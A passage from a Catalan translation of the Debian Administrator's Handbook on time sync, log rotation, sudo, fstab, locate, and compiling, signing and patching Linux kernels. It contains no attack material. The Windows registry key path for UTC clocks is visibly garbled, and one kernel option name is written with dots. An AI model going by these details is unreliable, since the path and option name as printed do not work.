Malauradament, els sistemes Windows en la seva configuració per defecte ignoren aquesta recomanació; mantenen el rellotge CMOS en l'hora local, aplicant els canvis d'hora en arrencar l'ordinador intentant endevinar durant els canvis de temps si el canvi ja s'ha aplicat o no. Això funciona relativament bé, sempre que el sistema només tingui Windows instal·lat. Però quan un ordinador té diversos sistemes (ja sigui una configuració d'“arrencada dual” o executant altres sistemes a través de màquines virtuals) es produeix el caos, sense mitjans per determinar si el temps és correcte. Si heu de conservar absolutament Windows en un ordinador, hauríeu de configurar-lo per mantenir el rellotge CMOS com a UTC (configurant la clau de registre HKLM\ControlControl\Control\Control\Control\FinalTimeIsUniversal a “1” com a DWORD), o utilitzar hwclock --localtime --set al sistema Debian per establir el rellotge de maquinari i indicar que està configurat amb l'hora local (i assegurar-vos de comprovar manualment el temps a la primavera i la tardor).

8.9.2. Sincronització del temps

La sincronització temporal, que pot semblar supèrflua en un ordinador, és molt important en una xarxa. Atès que els usuaris no tenen permisos que els permetin modificar la data i l'hora, és important que aquesta informació sigui precisa per a evitar confusions. A més, tenir tots els ordinadors sincronitzats en una xarxa permet una millor referència creuada de la informació dels registres en diferents màquines. Per tant, en cas d'atac, és més fàcil reconstruir la seqüència cronològica d'accions en les diferents màquines implicades en el compromís. Les dades recollides en diverses màquines amb finalitats estadístiques no tindran molt sentit si no estan sincronitzades.

TORNAR A LES BASES NTP

NTP («Network Time Protocol» o Protocol del Temps en Xarxa) permet a una màquina sincronitzar-se amb d'altres amb bastanta precisió, tenint en compte els retards induïts per la transferència d'informació sobre la xarxa i altres possibles desviacions.

Encara que hi ha nombrosos servidors NTP a Internet, els més populars poden estar sobrecarregats. Per això recomanem l'ús del servidor NTP de pool.ntp.org, que és, en realitat, un grup de màquines que han acordat servir com a servidors NTP públics. Fins i tot es podria reduir l'ús a un subgrup específic d'un país, amb, per exemple, us.pool.ntp.org per als Estats Units, o ca.pool.ntp.org per al Canadà, etc.

No obstant això, si es gestiona una xarxa gran, es recomana que instal·lar un servidor NTP propi, que se sincronitzarà amb els servidors públics. En aquest cas, totes les altres màquines de la vostra xarxa poden utilitzar el vostre servidor NTP intern en lloc d'augmentar la càrrega als servidors públics. També augmentarà l'homogeneïtat dels rellotges, ja que totes les màquines es sincronitzaran en la mateixa font, i aquesta font és molt propera en termes de temps de transferència de xarxa.

8.9.2.1. Per a estacions de treball

Com que les estacions de treball es reinicien regularment (encara que només sigui per estalviar energia), n'hi ha prou amb sincronitzar-les amb NTP a l'arrencada. Per fer-ho, simplement instal·leu el paquet ntpdate. Podeu canviar si cal el servidor NTP utilitzat modificant el fitxer /etc/default/ntpdate.

8.9.2.2. Per a servidors

Els servidors rarament es reinicien, i és molt important que el seu temps de sistema sigui correcte. Per mantenir permanentment el temps correcte, instal·leu un servidor NTP local, un servei ofert al paquet ntp. En la seva configuració per defecte, el servidor se sincronitzarà amb pool.ntp.org i proporcionarà el temps en resposta a les peticions procedents de la xarxa local. Podeu configurar-ho editant el fitxer /etc/ntp.conf; l'alteració més important és el servidor NTP al qual es refereix. Si la xarxa té molts servidors, pot ser interessant tenir un servidor horari local que sincronitzi amb els servidors públics i que sigui utilitzat com a font d'hora pels altres servidors de la xarxa.

ANANT MÉS ENLLÀ mòduls GPS i altres font de temps

Si la sincronització horària és particularment crucial per a la vostra xarxa, és possible equipar un servidor amb un mòdul GPS (que utilitzarà el temps dels satèl·lits GPS) o un mòdul DCF-77 (que sincronitzarà el temps amb el rellotge atòmic prop de Frankfurt, Alemanya). En aquest cas, la configuració del servidor NTP és una mica més complicada, i la consulta prèvia de la documentació és una necessitat absoluta.

8.9.3. Rotació de fitxers de registre

Els fitxers de registre poden créixer, ràpidament, i és necessari arxivar-los. L'esquema més comú és un arxivat de rotació: el fitxer de registre s'arxiva regularment, i només es mantenen els últims X arxius. logrotate, el programa responsable d'aquestes rotacions, segueix les directives donades al fitxer /etc/logrotate.conf i tots els fitxers al directori /etc/logrotate.d/. L'administrador pot modificar aquests fitxers si desitja adaptar la política de rotació de registres definida per Debian. La pàgina man logrotate(1) descriu totes les opcions disponibles en aquests fitxers de configuració. És possible que vulgueu augmentar el nombre de fitxers retinguts en la rotació del registre, o moure els fitxers de registre a un directori específic dedicat a arxivar-los en lloc de suprimir-los. També els podeu enviar per correu electrònic per arxivar-los en un altre lloc.

El programa logrotate és executat diàriament pel programa de planificació cron (descrit a Secció 9.7, «Planificació de tasques amb cron i atd»).

8.9.4. Compartir els permisos d'administrador

Sovint diversos administradors treballen a la mateixa xarxa. No és molt elegant compartir les contrasenyes de l'usuari «root», obrint-se la porta de l'abús a causa de l'anonimat que crea aquesta compartició. La solució a aquest problema és el programa sudo, que permet a certs usuaris executar certes ordres amb drets especials. En el cas d'ús més comú, sudo permet a un usuari de confiança executar qualsevol ordre com a «root». Per fer-ho, l'usuari simplement executa l'ordre sudo command i s'autentica utilitzant la pròpia contrasenya personal.

Quan s'instal·la, el paquet sudo dóna tots els permisos de «root» als membres del grup Unix sudo. Per delegar altres permisos, l'administrador pot utilitzar l'ordre visudo, que els permet modificar el fitxer de configuració /etc/sudoers (aquí, de nou, s'invocarà l'editor vi, o qualsevol altre editor indicat a la variable d'entorn EDITOR). Alternativament es podrien posar regles en fitxers petits a /etc/sudoers.d/ sempre que aquest directori s'inclogui a /etc/sudoers via @includedir /etc/sudoers.d, que és el predeterminat per a Debian. Afegir una línia amb usuari ALL=(ALL) ALL permet a l'usuari en qüestió executar qualsevol ordre com a «root».

Configuracions més sofisticades permeten l'autorització de només ordres específiques a usuaris específics. Tots els detalls de les diferents possibilitats es donen a la pàgina del manual de sudoers(5).

8.9.5. Llista de punts de muntatge

TORNAR A LES BASES Muntar i desmuntar

En un sistema de tipus Unix com Debian, els fitxers s'organitzen en una única jerarquia de directoris similar a un arbre. El directori / s'anomena “directori arrel”; tots els directoris addicionals són subdirectoris dins d'aquesta arrel. “Muntar” és l'acció d'incloure el contingut d'un dispositiu perifèric (sovint un disc dur) a l'arbre de fitxers general del sistema. Com a conseqüència, si utilitzeu un disc dur separat per emmagatzemar les dades personals dels usuaris, aquest disc haurà de ser “muntat” al directori /home/ (durant la instal·lació haureu ja fet l'elecció rellevant, vegeu Secció 4.2.13.1, «Particionat guiat»). El sistema de fitxers arrel sempre es munta a l'arrencada pel nucli; altres dispositius es munten més tard durant la seqüència d'inici o manualment amb l'ordre mount.

Alguns dispositius extraïbles es munten automàticament quan són connectats, especialment quan s'utilitza GNOME, Plasma o altres entorns d'escriptori gràfics. Altres han de ser muntats manualment per l'usuari. De la mateixa manera, s'han de desmuntar (eliminat de l'arbre de fitxers). Els usuaris normals no solen tenir permís per executar les ordres mount i umount. L'administrador pot, però, autoritzar aquestes operacions (independentment per a cada punt de muntatge) incloent l'opció user al fitxer /etc/fstab.

L'ordre mount es pot utilitzar sense arguments per a llistar tots els sistemes de fitxers muntats (com podeu trobar també a /proc/mounts); podeu executar findmnt --fstab per a mostrar només els sistemes de fitxers de /etc/fstab. Es requereixen els següents paràmetres per muntar o desmuntar un dispositiu — per a la llista completa, consulteu les pàgines man corresponents, mount(8) i umount(8). Per a casos senzills, la sintaxi també és senzilla: per exemple, per muntar la partició /dev/sdc1, que té un sistema de fitxers ext3, al directori /mnt/tmp/, simplement executeu mount -t ext3 /dev/sdc1 /mnt/tmp/.

El fitxer /etc/fstab proporciona una llista de tots els muntatges possibles que es produeixen automàticament a l'arrencada, o manualment per a dispositius d'emmagatzematge extraïbles. Cada punt de muntatge és descrit per una línia amb diversos camps separats per espais:

sistema de fitxers: això indica on es troba el sistema de fitxers que s'ha de muntar, pot ser un dispositiu local (partició de disc dur, CD-ROM) o un sistema de fitxers remot (com ara NFS o fins i tot SSHFS).

Aquest camp se substitueix freqüentment amb l'identificador (“ID”) únic del sistema de fitxers (que podeu determinar amb blkid dispositiu) prefixat amb UUID=. Això protegeix contra un canvi en el nom del dispositiu en cas d'afegir o treure de discos, o si els discs són detectats en un ordre diferent. Secció 8.8.1, «Identificació dels discos» cobreix aquest punt amb més detall.

punt de muntatge: aquesta és la ubicació del sistema de fitxers local on es muntarà el dispositiu, el sistema remot o la partició.

tipus: aquest camp defineix el sistema de fitxers utilitzat en el dispositiu muntat. ext4, ext3, vfat, ntfs, btrfs, xfs en són alguns exemples.

TORNAR A LES BASES NFS, un sistema de fitxers de xarxa

NFS és un sistema de fitxers de xarxa; amb Linux, permet l'accés transparent a fitxers remots incloent-los al sistema de fitxers local.

Hi ha disponible una llista completa dels sistemes de fitxers coneguts a la pàgina del manual de mount(8). El valor especial swap és per a les particions d'intercanvi; el valor especial auto li indica a mount que detecti automàticament el sistema de fitxers (fet que és especialment útil per als lectors de disc i les claus USB, ja que cadascun podria tenir un sistema de fitxers diferent);

opcions: n'hi ha moltes, depenent del sistema de fitxers, i estan documentades a la pàgina man de mount. Les més comunes són

rw o ro que signifiquen, respectivament, que el dispositiu es muntarà amb permisos de lectura/escriptura o de només lectura.

noauto desactiva el muntatge automàtic a l'arrencada.

nofail permet que l'arrencada continuï fins i tot quan el dispositiu no estigui present. Assegureu-vos de posar aquesta opció per a les unitats externes que podrien estar desconnectades quan arrenqueu, perquè systemd realment garanteix que tots els punts de muntatge que s'han de muntar automàticament es muntin realment abans de permetre que el procés d'arrencada continuï fins al final. Tingueu en compte que podeu combinar això amb x-systemd.device-timeout=5s per dir-li a systemd que no esperi més de 5 segons perquè el dispositiu aparegui (vegeu systemd.mount(5)).

user autoritza a tots els usuaris a muntar aquest sistema de fitxers (una operació que d'altra manera estaria restringida a l'usuari «root»).

defaults significa el grup d'opcions per defecte: rw, suid, dev, exec, auto, nouser i async, cadascuna de les quals es pot desactivar individualment després de defaults afegint nosuid, nodev etc. i així blocar suid, dev, etc. Afegir l'opció user la reactiva, ja que defaults inclou nouser.

dump: aquest camp gairebé sempre està establert a 0 i és una mena de relíquia. Quan és més gran que zero, indica a l'eina dump que la partició conté dades de que s'han de fer còpies de seguretat amb freqüència. L'eina només admet sistemes de fitxers Ext2/3/4 i usarà el valor aquest valor quan s'executi mitjançant dump -W o dump -w per determinar de quines particions s'han de fer còpies de seguretat. Considereu els exemples de /usr/share/doc/dump/examples/ si voleu utilitzar aquesta característica. Però hi ha millors alternatives per fer una còpies de seguretat d'un sistema de fitxers, com fsarchiver.

pass: aquest últim camp indica si la integritat del sistema de fitxers s'ha de comprovar a l'arrencada, i en quina ordre s'ha d'executar aquesta comprovació. Si és 0, no es fa cap comprovació. El sistema de fitxers arrel ha de tenir el valor 1, mentre que altres sistemes de fitxers permanents tenen el valor 2.

Exemple 8.5. Exemple de fitxer /etc/fstab

# /etc/fstab: static file system information. # # Use 'blkid' to print the universally unique identifier for a # device; this may be used with UUID= as a more robust way to name devices # that works even if disks are added and removed. See fstab(5). # # systemd generates mount units based on this file, see systemd.mount(5). # Please run 'systemctl daemon-reload' after making changes here. # # <file system> <mount point> <type> <options> <dump> <pass> # / was on /dev/sda1 during installation UUID=7a250fb8-c16d-4a4e-9808-ec08ae92b6c6 / ext4 errors=remount-ro 0 1 # swap was on /dev/sda5 during installation UUID=13f367ae-dbaf-40ed-85c0-4072a2ebe426 none swap sw 0 0 /dev/sr0 /media/cdrom0 udf,iso9660 user,noauto 0 0 /dev/fd0 /media/floppy auto rw,user,noauto 0 0 arrakis:/shared /shared nfs defaults 0 0

L'última entrada de l'exemple correspon a un sistema de fitxers de xarxa (NFS): el directori /shared/ del servidor arrakis està muntat a /shared/ a la màquina local.

El format del fitxer /etc/fstab està documentat a la pàgina del manual de fstab(5).

ANANT MÉS ENLLÀ Muntatge automàtic

systemd és capaç de gestionar punts de muntatge automàtic: aquests són sistemes de fitxers que es munten a la carta quan un usuari intenta accedir als seus punts de muntatge de destinació. També pot desmuntar aquests sistemes de fitxers quan ja no hi ha cap procés que hi accedeixi.

Com la majoria de conceptes de systemd, els punts de muntatge automàtic es gestionen amb unitats dedicades, utilitzant el sufixe .automount). Vegeu systemd.automount(5) per a la sintaxi precisa.

Existeixen altres utilitats de muntatge automàtic, com ara automount del paquet autofs o amd al paquet am-utils.

Tingueu en compte també que el GNOME, el Plasma i altres entorns d'escriptori gràfics funcionen conjuntament amb udisks2 i poden muntar automàticament suports extraïbles quan són connectats.

8.9.6. locate i updatedb

L'ordre locate pot trobar la ubicació d'un fitxer quan només se'n coneix una part del nom. Dóna un resultat gairebé instantàniament, ja que consulta una base de dades que emmagatzema la ubicació de tots els fitxers del sistema; aquesta base de dades s'actualitza diàriament amb l'ordre updatedb. Hi ha múltiples implementacions de l'ordre locate i mlocate és el seleccionat per Debian per al seu sistema estàndard. Si voleu considerar una alternativa, podeu provar plocate que ofereix les mateixes opcions de línia de comandes i es pot considerar com un equivalent.

locate és prou intel·ligent com per retornar només els fitxers que són accessibles a l'usuari executant l'ordre tot i que utilitza una base de dades amb informació de tots els fitxers del sistema (ja que la seva implementació d'updatedb funciona amb permisos de «root»). Per seguretat addicional, l'administrador pot utilitzar PRUNEDPATHS a /etc/updatedb.conf per evitar indexar alguns directoris.

8.10. Compilació d'un nucli

Els nuclis proporcionats per Debian inclouen el major nombre possible de característiques, així com el màxim de controladors, per tal de cobrir l'espectre més ample de les configuracions de maquinari existents. Per això alguns usuaris prefereixen recompilar el nucli per tal d'incloure només el que necessiten específicament. Hi ha dues raons per a aquesta elecció. En primer lloc, pot ser per optimitzar el consum de memòria, ja que el codi del nucli, encara que mai s'utilitzi, ocupa memòria per no res (i mai es “baixa” a l'espai d'intercanvi, ja que és RAM real que utilitza), que pot disminuir el rendiment global del sistema. Un nucli compilat localment també pot limitar el risc de problemes de seguretat, ja que només una fracció del codi del nucli està compilat i executat.

NOTA Actualitzacions de seguretat

Si decidiu compilar el vostre propi nucli, heu d'acceptar les conseqüències: Debian no pot assegurar les actualitzacions de seguretat per al vostre nucli personalitzat. Mantenint el nucli proporcionat per Debian us beneficieu de les actualitzacions preparades per l'equip de seguretat del Projecte Debian.

La recompilació del nucli també és necessària si voleu utilitzar certes característiques que només estan disponibles com a pedaços (i no estan incloses a la versió estàndard del nucli).

ANANT MÉS ENLLÀ El manual del Nucli de Debian («The Debian Kernel Handbook»)

L'equip del nucli de Debian manté el “Manual del nucli de Debian (o «Debian Kernel Manual», també disponible al paquet debian-kernel-handbook) amb documentació completa sobre la majoria de les tasques relacionades amb el nucli i sobre com es tracten els paquets oficials del nucli de Debian. Aquest és el primer lloc en el qual s'hauria de mirar si es necessita més informació de la que es proporciona en aquesta secció.

→ https://kernel-team.pages.debian.net/kernel-handbook/

8.10.1. Introducció i prerequisits

No és sorpresa que Debian gestioni el nucli en forma de paquet, fet que no és com els nuclis han estat tradicionalment compilats i instal·lats. Atès que el nucli roman sota el control del sistema d'empaquetament, es pot eliminar de manera neta, o desplegar en diverses màquines. A més, els «scripts» associats amb aquests paquets automatitzen la interacció amb el carregador d'arrencada i el generador initrd.

Les fonts Linux principals contenen tot el necessari per construir un paquet Debian del nucli. Però encara heu d'instal·lar build-essencial per assegurar-vos que teniu les eines necessàries per construir un paquet Debian. A més, el pas de configuració del nucli requereix el paquet libncurses-dev (que abans era libncurses5-dev i ara és un paquet de transició). Finalment, el paquet fakeroot permetrà la creació del paquet Debian sense utilitzar permisos d'administrador.

CULTURA Els vells temps de kernel-package

Abans que el sistema de construcció de Linux guanyés la capacitat de construir els paquets de Debian adequats, la manera recomanada de construir aquests paquets era utilitzar make-kpkg del paquet kernel-package.

8.10.2. Obtenir les fonts

Com qualsevol cosa que pugui ser útil en un sistema Debian, les fonts del nucli Linux estan disponibles en un paquet. Per obtennir-les, només cal instal·lar el paquet linux-source-versió. L'ordre apt search ^linux-source llista les diverses versions del nucli empaquetades per Debian. L'última versió està disponible a la distribució Unstable: podeu obtenir-la sense gaire risc (especialment si el vostre APT està configurat d'acord amb les instruccions de Secció 6.2.6, «Treballar amb diverses distribucions»). Tingueu en compte que el codi font contingut en aquests paquets no es correspon exactament amb el publicat per Linus Torvalds i els desenvolupadors del nucli; com totes les distribucions, Debian aplica una sèrie de pedaços que podrien (o no) trobar el seu destí a la versió original de Linux. Aquestes modificacions inclouen retroadaptacions de correccions/característiques/controladors de versions del nucli més recents, noves característiques que encara no s'han fusionat (totalment) a l'arbre Linux principal, i de vegades fins i tot canvis específics de Debian.

La resta d'aquesta secció se centra en la versió 5.10 del nucli Linux, però els exemples poden, per descomptat, ser adaptats a la versió particular del nucli que voleu.

Suposem que s'ha instal·lat el paquet linux-source-5.10. Conté /usr/src/linux-source-5.10.tar.xz, un arxiu comprimit de les fonts del nucli. Heu d'extreure aquests fitxers en un nou directori (no directament sota /usr/src/, ja que no hi ha necessitat de permisos especials per compilar un nucli Linux): ~/kernel/ és apropiat.

$ mkdir ~/kernel; cd ~/kernel $ tar -xaf /usr/src/linux-source-5.10.tar.xz

CULTURA Ubicació de les fonts del nucli

Tradicionalment, les fonts del nucli Linux es col·locarien a /usr/src/linux/, per la qual cosa requeririen permisos de «root» per a la compilació. No obstant això, s'hauria d'evitar treballar amb drets d'administrador quan no sigui necessari. Hi ha un grup src que permet als membres treballar en aquest directori, però s'ha d'evitar treballar en /usr/src/. Mantenint les fonts del nucli en un directori personal, obteniu seguretat en tots els aspectes: no hi ha cap fitxer a /usr/ desconegut pel sistema d'empaquetament, i no hi ha risc de programes enganyosos que busquin a /usr/src/linux en intentar recopilar informació sobre el nucli utilitzat.

Per a crear un nucli a partir de les fonts originals, simplement cal descarregar el «tarball» de la versió desitjada de kernel.org, verificar-ne la integritat després d'importar la clau dels mantenidors del nucli i després procedir tal i com es descriu en els següents capítols.

→ https://kernel.org/pub/linux/kernel/

→ https://git.kernel.org/pub/scm/docs/kernel/pgpkeys.git/tree/keys

$ wget https://kernel.org/pub/linux/kernel/v5.x/linux-5.10.62.tar.xz [..] $ wget https://kernel.org/pub/linux/kernel/v5.x/linux-5.10.62.tar.sign [..] $ unxz -c linux-5.10.62.tar.xz | gpg --verify linux-5.10.62.tar.sign - gpg: Signature made Fri 03 Sep 2021 10:11:35 AM CEST gpg: using RSA key 647F28654894E3BD457199BE38DBBDC86092693E gpg: Good signature from "Greg Kroah-Hartman <gregkh@linuxfoundation.org>" [unknown] gpg: aka "Greg Kroah-Hartman (Linux kernel stable release signing key) <greg@kroah.com>" [unknown] gpg: aka "Greg Kroah-Hartman <gregkh@kernel.org>" [unknown] gpg: WARNING: This key is not certified with a trusted signature! gpg: There is no indication that the signature belongs to the owner. Primary key fingerprint: 647F 2865 4894 E3BD 4571 99BE 38DB BDC8 6092 693E

8.10.3. Configurar el nucli

El següent pas consisteix a configurar el nucli segons les vostres necessitats. El procediment exacte depèn dels objectius.

Quan es recompila una versió més recent del nucli (possiblement amb un pedaç addicional), la configuració es mantindrà probablement el més a prop possible de la proposada per Debian. En aquest cas, i en lloc de reconfigurar-ho tot des de zero, n'hi ha prou amb copiar el fitxer /boot/config-versió (la versió és la del nucli actualment utilitzat, que es pot trobar amb l'ordre uname -r) en un fitxer .config al directori que conté les fonts del nucli. En aquest cas, assegureu-vos de llegir la barra lateral SUGGERIMENT Falta debian/certs/debian-uefi-certs.pem.

$ cp /boot/config-5.10.0-8-amd64 ~/kernel/linux-source-5.10/.config

Tret que calgui canviar la configuració, podeu parar aquí i saltar a Secció 8.10.4, «Compilació i creació del paquet». Si cal canviar-la, d'altra banda, o si decidiu reconfigurar-ho tot des de zero, haureu de dedicar temps per configurar el vostre nucli. Hi ha diverses interfícies dedicades al directori de codi font del nucli que es poden utilitzar cridant l'ordre make objectiu, on objectiu és un dels valors descrits tot seguit.

make menuconfig compila i executa una interfície de mode text (aquí és on es requereix el paquet libncurses-dev) que permet navegar per les opcions disponibles en una estructura jeràrquica. En prémer la tecla Espai es canvia el valor de l'opció seleccionada, i Retorn valida el botó seleccionat a la part inferior de la pantalla; Selecciona retorna al submenú seleccionat; Surt tanca la pantalla actual i tira amunt en la jerarquia; Ajuda mostrarà informació més detallada sobre el rol de l'opció seleccionada. Les tecles de fletxa permeten moure's dins de la llista d'opcions i botons. Per sortir del programa de configuració, trieu Surt del menú principal. Llavors el programa ofereix desar els canvis que heu fet; accepteu si esteu satisfets amb les vostres seleccions.

Altres interfícies tenen característiques similars, però funcionen amb interfícies gràfiques més modernes, com ara make xconfig que utilitza una interfície gràfica Qt, i make gconfig que utilitza GTK+. La primera requereix qtbase5-dev, mentre que la segona depèn de libglade2-dev i libgtk2.0-dev.

Quan s'utilitza una d'aquestes interfícies de configuració, sempre és una bona idea començar des d'una configuració predeterminada raonable. El nucli proporciona aquestes configuracions a arch/arquitectura/configs/*_defconfig i podeu posar la configuració seleccionada al lloc amb una ordre com make x86_64_defconfig (en el cas d'un PC de 64 bits) o make i386_defconfig (en el cas d'un PC de 32 bits).

SUGGERIMENT Tractar amb fitxers .config antiquats

Quan proporcioneu un fitxer .config que s'ha generat amb una altra versió (normalment més antiga) del nucli, l'haureu d'actualitzar. Podeu fer-ho amb make oldconfig, que us preguntarà interactivament les preguntes corresponents a les noves opcions de configuració. Si voleu utilitzar la resposta per defecte a totes aquestes preguntes podeu utilitzar make olddefconfig. Amb make oldnoconfig, assumirà una resposta negativa a totes les preguntes.

8.10.4. Compilació i creació del paquet

NOTA Neteja abans de recompilar

Si ja heu compilat una vegada al directori i voleu reconstruir-ho tot des de zero (per exemple, perquè heu canviat substancialment la configuració del nucli), haureu d'executar make clean per eliminar els fitxers compilats. make distclean suprimeix encara més fitxers generats, incloent-hi també el vostre fitxer .config, així que assegureu-vos abans de fer una còpia de seguretat.

Un cop la configuració del nucli està llesta, un simple make deb-pkg generarà fins a cinc paquets debian:

linux-image-versió

conté la imatge del nucli i els mòduls associats,

linux-headers-versió

conté els fitxers de capçalera requerits per a crear mòduls externs,

linux-firmware-image-versió

conté els fitxers de «firmware» que necessiten alguns controladors (aquest paquet pot no aparèixer quan es genera a partir de les fonts del nucli proveïdes per Debian),

linux-image-versió-dbg

conté els símbols de depuració de la imatge del nucli i dels seus mòduls (només serà creat si CONFIG_DEBUG_INFO=y), i

linux-libc-dev

conté les capçaleres rellevants per a algunes libreries d'espai d'usuari com ara la glibc de GNU.

La versió es defineix per la concatenació de la versió original (definida per les variables VERSION, PATCHLEVEL, SUBLEVEL i EXTRAVERSION al Makefile), del paràmetre de configuració LOCALVERSION, i de la variable d'entorn LOCALVERSION. La versió del paquet reutilitza la mateixa cadena de versió amb una revisió annexada que s'incrementa regularment (i desada a .version), excepte si la sobreescriviu amb la variable d'entorn KDEB_PKGVERSION.

$ make deb-pkg LOCALVERSION=-falcot KDEB_PKGVERSION=$(make kernelversion)-1 [...] $ ls ../*.deb ../linux-headers-5.10.46-falcot_5.10.46-1_amd64.deb ../linux-image-5.10.46-falcot_5.10.46-1_amd64.deb ../linux-image-5.10.46-falcot-dbg_5.10.46-1_amd64.deb ../linux-libc-dev_5.10.46-1_amd64.deb

El procés complet requereix al voltant de 20 GB d'espai lliure, un mínim de 8 GB de RAM i un grapat d'hores de compilació (usant un sol «core») per un nucli estàndard Debian amd64. Aquests requeriments es poden reduir dràsticament desactivant la informació de depuració usant CONFIG_DEBUG_INFO=n, però això farà impossible rastrejar errors al nucli («oops») usant gdb i evitarà la creació del paquet linux-image-versió-dbg.

SUGGERIMENT Falta debian/certs/debian-uefi-certs.pem

El nucli predeterminat de Debian conté la configuració següent:

[..] # # Certificates for signature checking # CONFIG_MODULE_SIG_KEY="" CONFIG_SYSTEM_TRUSTED_KEYRING=y CONFIG_SYSTEM_TRUSTED_KEYS="debian/certs/debian-uefi-certs.pem" # CONFIG_SYSTEM_EXTRA_CERTIFICATE is not set CONFIG_SECONDARY_TRUSTED_KEYRING=y CONFIG_SYSTEM_BLACKLIST_KEYRING=y CONFIG_SYSTEM_BLACKLIST_HASH_LIST="" # end of Certificates for signature checking [..]

La compilació d'un nucli personalitzat basat en aquests paràmetres fallarà si debian/certs/debian-uefi-certs.pem no existeix. Aquest fitxer es pot obtenir des del repositori Git de l'equip del nucli i col·locar-lo a l'arbre del codi font, o es pot substituir pel vostre propi/s certificat/s, o haureu d'inhabilitar la configuració mitjançant CONFIG.SYSTEM.TRUSTED.KEYS="".

→ https://salsa.debian.org/kernel-team/linux/-/blob/master/debian/certs/debian-uefi-certs.pem

8.10.5. Compilació de mòduls externs

Alguns mòduls són mantinguts fora del nucli Linux oficial. Per utilitzar-los, s'han de compilar juntament amb el nucli coincident. Una sèrie de mòduls comuns de tercers són proporcionats per Debian en paquets dedicats, com ara vpb-driver-source (mòduls addicionals per a maquinari de telefonia de Voicetronix) o leds-alix-source (controlador per a plaques PCEngines ALIX 2/3).

Aquests paquets són molts i variats, l'ordre apt-cache rdepends module-assistant pot mostrar la llista proporcionada per Debian. No obstant això, una llista completa no és particularment útil, ja que no hi ha cap raó particular per compilar mòduls externs excepte quan se sap que es necessita. En aquests casos, la documentació del dispositiu típicament detallarà els mòduls específics que necessita per funcionar amb Linux.

Per exemple, considerem el paquet dahdi-source: després de la instal·lació, un .tar.bz2 de les fonts del mòdul s'emmagatzema a /usr/src/. Tot i que podríem extreure manualment el fitxer comprimit («tarball») i construir el mòdul, a la pràctica preferim automatitzar tot això utilitzant la infraestructura DKMS («Dynamic Kernel Module Support» o “Suport per a mòduls dinàmics del nucli”) . La majoria dels mòduls ofereixen la integració DKMS necessària en un paquet que acaba amb un sufix -dkms. En el nostre cas, la instal·lació de dahdi-dkms és tot el que es necessita per compilar el mòdul del nucli per al nucli actual sempre que tinguem el paquet linux-headers-* que coincideixi amb el nucli instal·lat. Per exemple, si utilitzeu linux-image-amd64, també voldreu instal·lar linux-headers-amd64.

ULLADA RÀPIDA DKMS i Secure Boot

En sistemes UEFI amb «Secure Boot» activat, els mòduls requereixen estar signats abans que es puguin carregar. Els mòduls inclosos amb els paquets del nucli estan signats. Però els mòduls externs no ho estan. Afortunadament, dkms ja té tot el que es requereix per signar mòduls compilats.

Primer, creeu una clau privada /root/dkms.key i un certificat corresponent /root/dkms.der amb opensl, i registreu-la amb l'ordre mokutil --import /root/dkms.der (llegiu /usr/share/doc/dkms/README.md.gz per als detalls). Això requerirà reiniciar i importar activament el certificat mitjançant la interfície d'EFI MOK Manager. Després d'això, la línia sign_tool de /etc/dkms/framework.conf ha d'estar descomentada. Els mòduls ja compilats han de ser refets per a ser signats amb el certificat recentment creat i registrat. Els mòduls nous ja se signaran automàticament.

$ sudo apt install dahdi-dkms [...] Setting up dkms (2.8.4-3) ... Setting up linux-headers-5.10.0-8-amd64 (5.10.46-4) ... /etc/kernel/header_postinst.d/dkms: dkms: running auto installation service for kernel 5.10.0-8-amd64:. Setting up dahdi-dkms (1:2.11.1.0.20170917~dfsg-7.4) ... Loading new dahdi-2.11.1.0.20170917~dfsg-7.4 DKMS files... Building for 5.10.0-8-amd64 Building initial module for 5.10.0-8-amd64 Done. dahdi_dummy.ko: Running module version sanity check. - Original module - No original module exists within this kernel - Installation - Installing to /lib/modules/5.10.0-8-amd64/updates/dkms/ dahdi_dynamic_eth.ko: Running module version sanity check. - Original module - No original module exists within this kernel - Installation - Installing to /lib/modules/5.10.0-8-amd64/updates/dkms/ [...] DKMS: install completed. $ sudo dkms status dahdi, 2.11.1.0.20170917~dfsg-7.4, 5.10.0-8-amd64, x86_64: installed $ sudo modinfo dahdi_dummy filename: /lib/modules/5.10.0-8-amd64/updates/dkms/dahdi_dummy.ko license: GPL v2 author: Robert Pleh <robert.pleh@hermes.si> description: Timing-Only Driver depends: dahdi retpoline: Y name: dahdi_dummy vermagic: 5.10.0-8-amd64 SMP mod_unload modversions parm: debug:int

ALTERNATIVA module-assistant

Abans de DKMS, el module-assistant era la solució més simple per construir i desplegar mòduls del nucli. Encara es pot utilitzar, en particular per als paquets que no gaudeixen d'integració amb DKMS: amb una ordre simple com module-assistant auto-install dadhi (o m-a a-i dahdi per abreujar), els mòduls es compilen per al nucli actual, es posen en un nou paquet Debian, i aquest paquet s'instal·la sobre la marxa.

8.10.6. Aplicar pedaços al nucli

Algunes característiques no s'inclouen en el nucli estàndard a causa de falta de maduresa o a algun desacord amb els mantenidors del nucli. Aquestes característiques es poden distribuir com a pedaços que després qualsevol persona és lliure d'aplicar a les fonts del nucli.

Debian de vegades proporciona alguns d'aquests pedaços en els paquets linux-patch-*, però sovint no es fa en llançaments estables (de vegades per les mateixes raons que no estan fusionats en el nucli oficial original). Aquests paquets instal·len fitxers al directori /usr/src/kernel-patches/.

Per aplicar un o més d'aquests pedaços instal·lats, utilitzeu l'ordre patch al directori de les fonts i després inicieu la compilació del nucli com s'ha descrit anteriorment. A continuació es mostra un exemple antic usant linux-patch-grsecurity2 i linux-source-4.9.

$ cd ~/kernel/linux-source-4.9 $ make clean $ zcat /usr/src/kernel-patches/diffs/grsecurity2/grsecurity-3.1-4.9.11-201702181444.patch.gz | patch -p1

Tingueu en compte que un pedaç concret no necessàriament funciona amb qualsevol versió del nucli; és possible que patch falli quan s'aplica a les fonts del nucli. Es mostrarà un missatge d'error i es donaran alguns detalls sobre la fallada; en aquest cas, consulteu la documentació disponible al paquet Debian del pedaç (al directori /usr/share/doc/linux-patch-*/). En la majoria dels casos, el mantenidor indica per a quines versions del nucli està pensat el pedaç.

8.11. Instal·lació d'un nucli

8.11.1. Característiques d'un paquet Debian del nucli

Un paquet Debian del nucli instal·la la imatge del nucli (vmlinuz-versió), la seva configuració (config-versió) i la seva taula de símbols (System.map-versió) a /boot/. Els mòduls queden instal·lats al directori /lib/modules/versió/.

CULTURA La taula de símbols

